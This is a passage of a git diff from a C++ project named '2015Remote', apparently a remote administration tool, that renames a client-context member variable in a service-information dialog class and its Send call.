m_ServiceInfo.strSerName.GetLength()); - m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } diff --git a/server/2015Remote/sys/ServiceInfoDlg.h b/server/2015Remote/sys/ServiceInfoDlg.h index 87843cd..0490954 100644 --- a/server/2015Remote/sys/ServiceInfoDlg.h +++ b/server/2015Remote/sys/ServiceInfoDlg.h @@ -18,8 +18,8 @@ class CServiceInfoDlg : public CDialog public: CServiceInfoDlg(CWnd* pParent = NULL); - ClientContext* m_pContext; - ISocketBase* m_iocpServer; + ClientContext* m_ContextObject; + ISocketBase* m_iocpServer; enum { IDD = IDD_SERVICE_INFO }; CComboBox m_combox_runway;